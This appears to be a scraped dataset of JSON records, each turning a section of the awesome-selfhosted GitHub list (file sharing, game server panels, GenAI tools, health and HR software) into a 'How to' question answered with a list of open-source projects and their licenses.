"intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557175"}
{"id": "gh_5a0c6d37ca6b", "question": "How to: Federated Identity & Authentication", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Federated identity](https://en.wikipedia.org/wiki/Federated_identity) and [authentication](https://en.wikipedia.org/wiki/Electronic_authentication) software.\n\n**Please visit [awesome-sysadmin/Identity Management](https://github.com/awesome-foss/awesome-sysadmin#identity-management)**", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557179"}
{"id": "gh_bcc3fbac0ab2", "question": "How to: File Transfer & Synchronization", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[File transfer](https://en.wikipedia.org/wiki/File_transfer), [sharing](https://en.wikipedia.org/wiki/File_sharing) and [synchronization software](https://en.wikipedia.org/wiki/File_synchronization) software.\n\n_Related: [Groupware](#groupware)_\n\n- [bewCloud](https://bewcloud.com) - File sharing + sync, notes, and photos (alternative to Nextcloud and ownCloud's RSS reader). ([Source Code](https://github.com/bewcloud/bewcloud), [Clients](https://github.com/bewcloud)) `AGPL-3.0` `Docker`\n- [Cloudreve](https://cloudreve.org/) - File management and sharing system, supports multiple storage providers. ([Demo](https://demo.cloudreve.org), [Source Code](https://github.com/cloudreve/cloudreve)) `GPL-3.0` `Docker/Go`\n- [Git Annex](https://git-annex.branchable.com/) - File synchronization between computers, servers, external drives. ([Source Code](https://git.joeyh.name/index.cgi/git-annex.git/)) `GPL-3.0` `Haskell`\n- [Kinto](https://kinto.readthedocs.org) - Minimalist JSON storage service with synchronisation and sharing abilities. ([Source Code](https://github.com/Kinto/kinto)) `Apache-2.0` `Python`\n- [Nextcloud](https://nextcloud.com/) - Access and share your files, calendars, contacts, mail and [more](https://apps.nextcloud.com/) from any device, on your terms. ([Demo](https://try.nextcloud.com/), [Source Code](https://github.com/nextcloud/server)) `AGPL-3.0` `PHP/deb`\n- [OpenCloud](https://docs.opencloud.eu/) - File Sharing and Collaboration Platform. ([Source Code](https://github.com/opencloud-eu/opencloud)) `Apache-2.0` `Docker/Go/Nodejs`\n- [OpenSSH SFTP server](https://www.openssh.com/) - Secure File Transfer Program. ([Source Code](https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.bin/ssh/)) `BSD-2-Clause` `C/deb`\n- [ownCloud](https://owncloud.org/) - All-in-one solution for saving, synchronizing, viewing, editing and sharing files, calendars, address books and more. ([Source Code](https://github.com/owncloud/core), [Clients](https://github.com/owncloud/core/wiki/Apps)) `AGPL-3.0` `PHP/Docker/deb`\n- [Peergos](https://peergos.org) - Secure and private space online where you can store, share and view your photos, videos, music and documents. Also includes a calendar, news feed, task lists, chat and email client. ([Source Code](https://github.com/Peergos/Peergos)) `AGPL-3.0` `Java`\n- [Puter](https://puter.com/) - Web-based operating system designed to be feature-rich, exceptionally fast, and highly extensible. ([Demo](https://puter.com/), [Source Code](https://github.com/heyputer/puter)) `AGPL-3.0` `Nodejs/Docker`\n- [Pydio](https://pydio.com/) - Turn any web server into a powerful file management system and an alternative to mainstream cloud storage providers. ([Demo](https://pydio.com/en/demo), [Source Code](https://github.com/pydio/cells)) `AGPL-3.0` `Go`\n- [Samba](https://www.samba.org/) - Samba is the standard Windows interoperability suite of programs for Linux and Unix. It provides secure, stable and fast file and print services for all clients using the SMB/CIFS protocol. ([Source Code](https://git.samba.org/samba.git/)) `GPL-3.0` `C`\n- [Seafile](https://www.seafile.com/en/home/) - File hosting and sharing solution primary for teams and organizations. ([Source Code](https://github.com/haiwen/seafile)) `GPL-2.0/GPL-3.0/AGPL-3.0/Apache-2.0` `C`\n- [Sync-in](https://sync-in.com) - File storage, syncing, sharing, and collaboration with real-time editing, permission management, and desktop/CLI clients. ([Demo](https://sync-in.com/docs/demo), [Source Code](https://github.com/Sync-in/server), [Clients](https://github.com/Sync-in/desktop)) `AGPL-3.0` `Nodejs/Docker`\n- [Syncthing](https://syncthing.net/) - Syncthing is an open source peer-to-peer file synchronisation tool. ([Source Code](https://github.com/syncthing/syncthing)) `MPL-2.0` `Go/Docker/deb`\n- [Unison](https://www.cis.upenn.edu/~bcpierce/unison/) - Unison is a file-synchronization tool for OSX, Unix, and Windows. ([Source Code](https://github.com/bcpierce00/unison)) `GPL-3.0` `deb/OCaml`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557201"}
{"id": "gh_cda7727ff28f", "question": "How to: File Transfer - Distributed Filesystems", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nNetwork distributed filesystems.\n\n**Please visit [awesome-sysadmin/Distributed Filesystems](https://github.com/awesome-foss/awesome-sysadmin#distributed-filesystems)**", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557206"}
{"id": "gh_6b88862f5ac3", "question": "How to: File Transfer - Object Storage & File Servers", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Object storage](https://en.wikipedia.org/wiki/Object_storage) is a computer data storage that manages data as objects, as opposed to other storage architectures like file systems which manages data as a file hierarchy, and block storage which manages data as blocks within sectors and tracks.\n\n- [GarageHQ](https://garagehq.deuxfleurs.fr/) - Geo-distributed, S3‑compatible storage service that can fulfill many needs. ([Source Code](https://git.deuxfleurs.fr/Deuxfleurs/garage)) `AGPL-3.0` `Docker/Rust`\n- [Harbor](https://goharbor.io/) - Cloud native image registry that stores, signs, and scans content. ([Source Code](https://github.com/goharbor/harbor)) `Apache-2.0` `Docker/K8S`\n- [Minio](https://min.io/) - Object storage server compatible with Amazon S3 APIs. ([Source Code](https://github.com/minio/minio)) `AGPL-3.0` `Go/Docker/K8S`\n- [SeaweedFS](https://github.com/seaweedfs/seaweedfs) - SeaweedFS is an open source distributed file system supporting WebDAV, S3 API, FUSE mount, HDFS, etc, optimized for lots of small files, and easy to add capacity. `Apache-2.0` `Go`\n- [SFTPGo](https://github.com/drakkan/sftpgo) - Flexible, fully featured and highly configurable SFTP server with optional FTP/S and WebDAV support. `AGPL-3.0` `Go/deb/Docker`\n- [Zenko CloudServer](https://www.zenko.io/cloudserver) - Zenko CloudServer, an open-source implementation of a server handling the Amazon S3 protocol. ([Source Code](https://github.com/scality/cloudserver)) `Apache-2.0` `Docker/Nodejs`\n- [ZOT OCI Registry](https://zotregistry.dev) - A production-ready vendor-neutral OCI-native container image registry. ([Demo](https://zothub.io), [Source Code](https://github.com/project-zot/zot)) `Apache-2.0` `Go/Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557213"}
{"id": "gh_74f66144d012", "question": "How to: File Transfer - Peer-to-peer Filesharing", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Peer-to-peer file sharing](https://en.wikipedia.org/wiki/Peer-to-peer_file_sharing) is the distribution and [sharing](https://en.wikipedia.org/wiki/File_sharing) of digital media using [peer-to-peer](https://en.wikipedia.org/wiki/Peer-to-peer) (P2P) networking technology.\n\n- [bittorrent-tracker](https://webtorrent.io/) - Simple, robust, BitTorrent tracker (client and server) implementation. ([Source Code](https://github.com/webtorrent/bittorrent-tracker)) `MIT` `Nodejs`\n- [Deluge](https://deluge-torrent.org/) - Lightweight, cross-platform BitTorrent client. ([Source Code](https://git.deluge-torrent.org/deluge/tree/?h=develop)) `GPL-3.0` `Python/deb`\n- [PrivyDrop](https://www.privydrop.app) - Simple and user-friendly, breakpoint-resumable peer-to-peer text, image, and file transfer tool based on WebRTC. ([Source Code](https://github.com/david-bai00/PrivyDrop)) `MIT` `Docker/Nodejs`\n- [qBittorrent](https://www.qbittorrent.org/) - Free cross-platform bittorrent client with a feature rich Web UI for remote access. ([Source Code](https://github.com/qbittorrent/qBittorrent)) `GPL-2.0` `C++`\n- [Send](https://gitlab.com/timvisee/send) - Simple, private, end to end encrypted temporary file sharing, originally built by Mozilla. ([Demo](https://send.vis.ee/), [Clients](https://gitlab.com/timvisee/send#clients)) `MPL-2.0` `Nodejs/Docker`\n- [slskd](https://github.com/slskd/slskd) `⚠` - A modern client-server application for the Soulseek file sharing network. `AGPL-3.0` `Docker/C#`\n- [Transmission](https://transmissionbt.com/) - Fast, easy, free Bittorrent client. ([Source Code](https://github.com/transmission/transmission)) `GPL-3.0` `C++/deb`\n- [Webtor](https://github.com/webtor-io/self-hosted) - Web-based torrent client with instant audio/video streaming. ([Demo](https://webtor.io)) `MIT` `Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557221"}
{"id": "gh_8f0bfd776d64", "question": "How to: File Transfer - Single-click & Drag-n-drop Upload", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nSimplified file servers for sharing of one-time/short-lived/temporary files, providing single-click or [drag-and-drop](https://en.wikipedia.org/wiki/Drag_and_drop) upload functionality.\n\n- [015](https://send.fudaoyuan.icu) - A temporary file sharing platform. Focused on providing one-time, temporary file and text upload, processing, and sharing services. ([Source Code](https://github.com/keven1024/015)) `AGPL-3.0` `Docker`\n- [Chibisafe](https://chibisafe.app) - File uploader service that aims to to be easy to use and set up. It accepts files, photos, documents, anything you imagine and gives you back a shareable link for you to send to others. ([Source Code](https://github.com/chibisafe/chibisafe)) `MIT` `Docker/Nodejs`\n- [Digirecord](https://ladigitale.dev/digirecord/) - Record and share audio files (documentation in French). ([Source Code](https://codeberg.org/ladigitale/digirecord)) `AGPL-3.0` `Nodejs/PHP`\n- [elixire](https://gitlab.com/elixire/elixire) - Simple yet advanced screenshot uploading and link shortening service. ([Clients](https://gitlab.com/elixire/elixiremanager)) `AGPL-3.0` `Python`\n- [Enclosed](https://enclosed.cc/) - Minimalistic web application designed for sending private and secure notes. ([Demo](https://enclosed.cc/), [Source Code](https://github.com/CorentinTh/enclosed)) `Apache-2.0` `Docker/Nodejs`\n- [Files Sharing](https://github.com/axeloz/filesharing) - File sharing application based on unique and temporary links. `GPL-3.0` `PHP/Docker`\n- [Flare](https://github.com/FlintSH/Flare) - A nonbloated, modern, and highly configurable file/screenshot vault server with support for ShareX, Flameshot, and Spectacle. Offers OCR search and more. `MIT` `Docker/Nodejs`\n- [Gokapi](https://github.com/Forceu/gokapi) - Lightweight server to share files, which expire after a set amount of downloads or days. Similar to the discontinued Firefox Send, with the difference that only the admin is allowed to upload files. `GPL-3.0` `Go/Docker`\n- [goploader](https://depado.github.io/goploader/) - Easy file sharing with server-side encryption, curl/httpie/wget compliant. ([Source Code](https://github.com/Depado/goploader)) `MIT` `Go`\n- [GoSƐ](https://codeberg.org/stv0g/gose) - Modern file-uploader focusing on scalability and simplicity. It only depends on a S3 storage backend and hence scales horizontally without the need for additional databases or caches. `Apache-2.0` `Go/Docker`\n- [Jirafeau](https://gitlab.com/jirafeau/Jirafeau) - One-click-fileshare project. Select your file, upload, and share a link. That's it. `AGPL-3.0` `PHP/Docker`\n- [OnionShare](https://github.com/onionshare/onionshare) - Securely and anonymously share a file of any size. `GPL-3.0` `Python/deb`\n- [Pairdrop](https://pairdrop.net/) - Local file sharing in your browser, inspired by Apple's AirDrop (fork of Snapdrop). ([Source Code](https://github.com/schlagmichdoch/pairdrop)) `GPL-3.0` `Docker`\n- [PicoShare](https://pico.rocks) - Minimalist, easy-to-host service for sharing images and other files. ([Demo](https://demo.pico.rocks), [Source Code](https://github.com/mtlynch/picoshare)) `AGPL-3.0` `Go/Docker`\n- [Picsur](https://github.com/CaramelFur/Picsur) - Simple imaging hosting platform that allows you to easily host, edit, and share images. ([Demo](https://picsur.org/upload)) `AGPL-3.0` `Docker`\n- [PictShare](https://www.pictshare.net/) - Multi lingual image hosting service with a simple resizing and upload API. ([Source Code](https://github.com/HaschekSolutions/pictshare)) `Apache-2.0` `PHP/Docker`\n- [Plik](https://github.com/root-gg/plik) - Scalable and friendly temporary file upload system. ([Demo](https://plik.root.gg/)) `MIT` `Go/Docker`\n- [ProjectSend](https://www.projectsend.org/) - Upload files and assign them to specific clients you create. Give access to those files to your clients. ([Source Code](https://github.com/projectsend/projectsend)) `GPL-2.0` `PHP`\n- [PsiTransfer](https://github.com/psi-4ward/psitransfer) - Simple file sharing solution with robust up-/download-resume and password protection. `BSD-2-Clause` `Nodejs`\n- [QuickShare](https://ihexxa.github.io/quickshare.site/) - Quick and simple file sharing between different devices. ([Source Code](https://github.com/ihexxa/quickshare)) `LGPL-3.0` `Docker/Go`\n- [Sharry](https://github.com/eikek/sharry) - Share files easily over the internet between authenticated and anonymous users (both ways) with resumable up- and downloads. `GPL-3.0` `Scala/Java/deb/Docker`\n- [Shifter](https://github.com/TobySuch/Shifter) - A simple, self-hosted file-sharing web app, powered by Django. `MIT` `Docker`\n- [Slink](https://docs.slinkapp.io/) - Image sharing platform designed to give users complete control over their media sharing experience. ([Source Code](https://github.com/andrii-kryvoviaz/slink)) `AGPL-3.0` `Docker`\n- [transfer.sh](https://github.com/dutchcoders/transfer.sh) - Easy file sharing from the command line. `MIT` `G", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557236"}
{"id": "gh_64ce69d6c806", "question": "How to: File Transfer - Web-based File Managers", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nWeb-based [file managers](https://en.wikipedia.org/wiki/File_manager).\n\n_Related: [Groupware](#groupware)_\n\n- [Apaxy](https://oupala.github.io/apaxy/) - Theme built to enhance the experience of browsing web directories, using the mod_autoindex Apache module and some CSS to override the default style of a directory listing. ([Source Code](https://github.com/oupala/apaxy)) `GPL-3.0` `Javascript`\n- [copyparty](https://github.com/9001/copyparty) - Portable file server with accelerated resumable uploads, deduplication, WebDAV, FTP, zeroconf, media indexer, video thumbnails, audio transcoding, and write-only folders, in a single file with no mandatory dependencies. ([Demo](https://a.ocv.me/pub/demo/)) `MIT` `Python`\n- [Directory Lister](https://www.directorylister.com/) - Simple PHP based directory lister that lists a directory and all its sub-directories and allows you to navigate there within. ([Source Code](https://github.com/DirectoryLister/DirectoryLister)) `MIT` `PHP/Docker`\n- [filebrowser](https://filebrowser.org/) - Web File Browser with a Material Design web interface. ([Source Code](https://github.com/filebrowser/filebrowser)) `Apache-2.0` `Go`\n- [FileGator](https://filegator.io/) - FileGator is a powerful multi-user file manager with a single page front-end. ([Demo](https://demo.filegator.io), [Source Code](https://github.com/filegator/filegator)) `MIT` `PHP/Docker`\n- [FileRise](https://github.com/error311/FileRise) - Web file manager with uploads, tagging, share links, gallery/table views, and an in-browser editor. ([Demo](https://github.com/error311/FileRise?tab=readme-ov-file#live-demo)) `MIT` `Docker/PHP`\n- [Filestash](https://www.filestash.app/) - Web file manager that lets you manage your data anywhere it is located: FTP, SFTP, WebDAV, Git, S3, Minio, Dropbox, or Google Drive. ([Demo](https://demo.filestash.app/), [Source Code](https://github.com/mickael-kerjean/filestash)) `AGPL-3.0` `Docker`\n- [Gossa](https://github.com/pldubouilh/gossa) - Light and simple webserver for your files. `MIT` `Go`\n- [IFM](https://github.com/misterunknown/ifm) - Single script file manager. `MIT` `PHP`\n- [mikochi](https://github.com/zer0tonin/Mikochi) - Browse remote folders, upload files, delete, rename, download and stream files to VLC/mpv. `MIT` `Go/Docker/K8S`\n- [miniserve](https://github.com/svenstaro/miniserve) - CLI tool to serve files and dirs over HTTP. `MIT` `Rust`\n- [ResourceSpace](https://www.resourcespace.com) - Simple, fast, and free way to organise your digital assets. ([Demo](https://www.resourcespace.com/trial), [Source Code](https://www.resourcespace.com/svn)) `BSD-4-Clause` `PHP`\n- [slcl](https://gitea.privatedns.org/xavi/slcl) - Simple and lightweight web cloud storage. ([Source Code](https://codeberg.org/xavidcr/slcl)) `AGPL-3.0` `C`\n- [Surfer](https://git.cloudron.io/cloudron/surfer) - Simple static file server with webui to manage files. `MIT` `Nodejs`\n- [TagSpaces](https://www.tagspaces.org/) - TagSpaces is an offline, cross-platform file manager and organiser that also can function as a note taking app. The WebDAV version of the application can be installed on top of a WebDAV servers such as Nextcloud or ownCloud. ([Demo](https://demo.tagspaces.com), [Source Code](https://github.com/tagspaces/tagspaces)) `AGPL-3.0` `Nodejs`\n- [Tiny File Manager](https://tinyfilemanager.github.io) - Web based File Manager in PHP, simple, fast and small file manager with a single file. ([Demo](https://tinyfilemanager.github.io/demo/), [Source Code](https://github.com/prasathmani/tinyfilemanager)) `GPL-3.0` `PHP`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557245"}
{"id": "gh_8c9946b20903", "question": "How to: Games - Administrative Utilities & Control Panels", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nUtilities for managing game servers.\n\n_Related: [Games](#games)_\n\n- [auto-mcs](https://www.auto-mcs.com) - Cross-platform Minecraft server manager. ([Source Code](https://github.com/macarooni-man/auto-mcs)) `AGPL-3.0` `Python`\n- [Crafty Controller](https://craftycontrol.com/) - Minecraft launcher and manager that allows users to start and administer Minecraft servers from a user-friendly interface. ([Source Code](https://gitlab.com/crafty-controller/crafty-4)) `GPL-3.0` `Docker/Python`\n- [Drop](https://droposs.org) - Game distribution platform, designed for distributing and sharing DRM-free games efficiently (alternative to Steam, GameVault). ([Source Code](https://github.com/Drop-OSS/drop), [Clients](https://github.com/Drop-OSS/drop-app)) `AGPL-3.0` `Docker`\n- [EasyWI](https://easy-wi.com) - Easy-Wi is a Web-interface that allows you to manage server daemons like gameservers. In addition it provides you with a CMS which includes a fully automated game- and voiceserver lending service. ([Source Code](https://github.com/easy-wi/developer/)) `GPL-3.0` `PHP/Shell`\n- [Gameyfin](https://gameyfin.org) - Video game library manager with automatic scanning, web access, downloads, and plugin support. ([Source Code](https://github.com/gameyfin/gameyfin)) `AGPL-3.0` `Docker`\n- [Gaseous Server](https://github.com/gaseous-project/gaseous-server) `⚠` - Game ROM manager with a built-in web-based emulator using multiple sources to identify and provide metadata. `AGPL-3.0` `Docker/.NET`\n- [Kubek](https://kubek.seeeroy.ru) - Web management panel for Minecraft servers. ([Source Code](https://github.com/seeroy/kubek-minecraft-dashboard)) `GPL-3.0` `Nodejs`\n- [Lancache](https://lancache.net) `⚠` - LAN Party game caching made easy. ([Source Code](https://github.com/lancachenet/monolithic)) `MIT` `Docker/Shell`\n- [LinuxGSM](https://linuxgsm.com/) - CLI tool for deployment and management of dedicated game servers on Linux: more than 120 games are supported. ([Source Code](https://github.com/GameServerManagers/LinuxGSM)) `MIT` `Shell`\n- [Minus Games](https://accessory.github.io/minus_games_user_guide) - Sync games and save files across multiple devices. ([Source Code](https://github.com/Accessory/minus_games)) `MIT` `Rust`\n- [Pelican Panel](https://pelican.dev/) - Web application for easy management of game servers, offering a user-friendly interface for deploying, configuring, and managing servers, server monitoring tools, and extensive customization options (fork of Pterodactyl). ([Source Code](https://github.com/pelican-dev/panel)) `AGPL-3.0` `PHP/Docker`\n- [Pterodactyl](https://pterodactyl.io/) - Management panel for game servers, with an intuitive UI for end users. ([Source Code](https://github.com/pterodactyl/panel)) `MIT` `PHP`\n- [PufferPanel](https://www.pufferpanel.com/) - Game server management panel designed for both small networks and game server providers. ([Source Code](https://github.com/pufferpanel/pufferpanel)) `Apache-2.0` `Go`\n- [RconCli](https://github.com/gorcon/rcon-cli) - CLI for executing queries on a remote Valve Source dedicated server using the RCON Protocol. `MIT` `Go`\n- [Retrom](https://github.com/JMBeresford/retrom) - Private cloud game library distribution server + frontend/launcher. `GPL-3.0` `Docker/Rust`\n- [RomM](https://romm.app/) `⚠` - ROM manager for organizing, enriching, and playing retro games, with support for 400+ platforms. ([Demo](https://demo.romm.app/), [Source Code](https://github.com/rommapp/romm)) `AGPL-3.0` `Docker`\n- [SourceBans++](https://sbpp.github.io/) - Admin, ban, and communication management system for games running on the Source engine. ([Source Code](https://github.com/sbpp/sourcebans-pp)) `CC-BY-SA-4.0` `PHP`\n- [Sunshine](https://app.lizardbyte.dev/Sunshine/) - Remote game stream host for Moonlight with support up to 120 frames per second and 4K resolution. ([Source Code](https://github.com/LizardByte/Sunshine)) `GPL-3.0` `C++/deb/Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557261"}
{"id": "gh_70dbbb30ace8", "question": "How to: Generative Artificial Intelligence (GenAI)", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Generative Artificial Intelligence (GenAI)](https://en.wikipedia.org/wiki/Generative_artificial_intelligence) is a subset of [artificial intelligence](https://en.wikipedia.org/wiki/Artificial_intelligence) that uses generative models to produce text, images, videos, or other forms of data.\n\n- [Agenta](https://agenta.ai/) - LLMOps platform for prompt management, LLM evaluation, and observability. Build, evaluate, and monitor production-grade LLM applications with collaborative prompt engineering. ([Source Code](https://github.com/agenta-ai/agenta)) `MIT` `Docker`\n- [AnythingLLM](https://anythingllm.com/) - All-in-one desktop & Docker AI application with built-in RAG, AI agents, No-code agent builder, MCP compatibility, and more. ([Source Code](https://github.com/Mintplex-Labs/anything-llm)) `MIT` `Nodejs/Docker`\n- [Khoj](https://khoj.dev/) - Your AI second brain. Get answers from the web or your docs. Build custom agents, schedule automations, do deep research. Turn any online or local LLM into your personal, autonomous AI. ([Demo](https://app.khoj.dev/), [Source Code](https://github.com/khoj-ai/khoj)) `AGPL-3.0` `Python/Docker`\n- [LLM Harbor](https://github.com/av/harbor) - Containerized LLM toolkit. Run LLM backends, APIs, frontends, and additional services via a concise CLI. `Apache-2.0` `Docker/Shell`\n- [LocalAI](https://localai.io/) - Run your AI models locally and generate images and audio (alternative to OpenAI and Claude). ([Source Code](https://github.com/mudler/LocalAI), [Clients](https://localai.io/gallery.html)) `MIT` `Docker/K8S`\n- [Ollama](https://ollama.com/) - Get up and running with Llama 3.3, DeepSeek-R1, Phi-4, Gemma 3, and other large language models. ([Source Code](https://github.com/ollama/ollama)) `MIT` `Docker/Python`\n- [Onyx Community Edition](https://onyx.app) - Chat UI that works with any LLM. It comes loaded with advanced features like agents, web search, RAG, MCP, deep research, Connectors to 40+ knowledge sources, and more. ([Source Code](https://github.com/onyx-dot-app/onyx)) `MIT` `Docker/K8S`\n- [Open-WebUI](https://openwebui.com) - User-friendly AI Interface, supports Ollama, OpenAI API. ([Source Code](https://github.com/open-webui/open-webui)) `BSD-3-Clause` `Docker/Python`\n- [Perplexica](https://github.com/ItzCrazyKns/Perplexica) - AI-powered search engine (alternative to Perplexity AI). `MIT` `Docker`\n- [TuxSEO](https://tuxseo.com/) `⚠` - Create automated blog content for your business, using AI. ([Source Code](https://github.com/rasulkireev/TuxSEO)) `MIT` `Python/Django/Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557271"}
{"id": "gh_ef24a8b578c3", "question": "How to: Health and Fitness", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Medical](https://en.wikipedia.org/wiki/Medical_software), [Health](https://en.wikipedia.org/wiki/Health_information_technology) and [Fitness](https://en.wikipedia.org/wiki/Fitness_tracker) software.\n\n- [Endurain](https://docs.endurain.com/) - Fitness tracking service designed to give users full control over their data and hosting environment. ([Source Code](https://github.com/joaovitoriasilva/endurain)) `AGPL-3.0` `Docker`\n- [Fasten Health](https://github.com/fastenhealth/fasten-onprem/) `⚠` - Personal/family electronic medical record aggregator, designed to integrate with hundreds of thousands of insurances/hospitals/clinics in the United States. `GPL-3.0` `Go/Docker`\n- [FitTrackee](https://docs.fittrackee.org/) - Simple workout/activity tracker. ([Source Code](https://github.com/SamR1/FitTrackee)) `AGPL-3.0` `Python/Docker`\n- [Mere Medical](https://meremedical.co/) `⚠` - Manage all of your medical records from Epic MyChart, Cerner, and OnPatient patient portals in one place. Privacy-focused, self-hosted, and offline-first. ([Demo](https://demo.meremedical.co), [Source Code](https://github.com/cfu288/mere-medical)) `GPL-3.0` `Docker/Nodejs`\n- [OpenEMR](https://www.open-emr.org/) - Electronic health records and medical practice management solution. ([Demo](https://www.open-emr.org/demo/), [Source Code](https://github.com/openemr/openemr)) `GPL-3.0` `PHP/Docker`\n- [wger](https://wger.de/) - Web-based personal workout, fitness and weight logger/tracker. It can also be used as a simple gym management utility and offers a full REST API as well. ([Demo](https://wger.de/en/dashboard), [Source Code](https://github.com/wger-project/wger)) `AGPL-3.0` `Python/Docker`\n- [Wingfit](https://wingfit.fr) - Minimalist fitness app to plan your workouts, track your personal records and leverage smartwatch data. ([Demo](https://wingfit.fr/home), [Source Code](https://github.com/itskovacs/wingfit)) `CC-BY-SA-4.0` `Python/Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557280"}
{"id": "gh_87fd8ca619f0", "question": "How to: Human Resources Management (HRM)", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nA [human resources management system](https://en.wikipedia.org/wiki/Human_resource_management_system) combines a number of systems and processes to ensure the easy management of [human resources](https://en.wikipedia.org/wiki/Human_resources), business processes and data.\n\n- [admidio](https://www.admidio.org/) - User management system for websites of organizations and groups. The system has a flexible role model so that it’s possible to reflect the structure and permissions of your organization. ([Demo](https://www.admidio.org/demo/), [Source Code](https://github.com/Admidio/admidio)) `GPL-2.0` `PHP/Docker`\n- [Frappe HR](https://frappe.io/hr) - Complete HRMS solution with over 13 different modules right from employee management, onboarding, leaves, to payroll, taxation, and more. ([Source Code](https://github.com/frappe/hrms)) `GPL-3.0` `Docker/Python/Nodejs`\n- [MintHCM](https://minthcm.org/) - Tool for Human Capital Management based on two popular, well-known business applications SugarCRM Community Edition and SuiteCRM. ([Source Code](https://github.com/minthcm/minthcm)) `AGPL-3.0` `PHP`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557287"}
{"id": "gh_4828b9b6c7ac", "question": "How to: Identity Management", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Identity management](https://en.wikipedia.org/wiki/Identity_management) (IdM), also known as identity and access management (IAM or IdAM), is a framework of policies and technologies to ensure that the right users have the appropriate access to technology resources.\n\n**Please visit [awesome-sysadmin/Identity Management](https://github.com/awesome-foss/awesome-sysadmin#identity-management)**", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557292"}
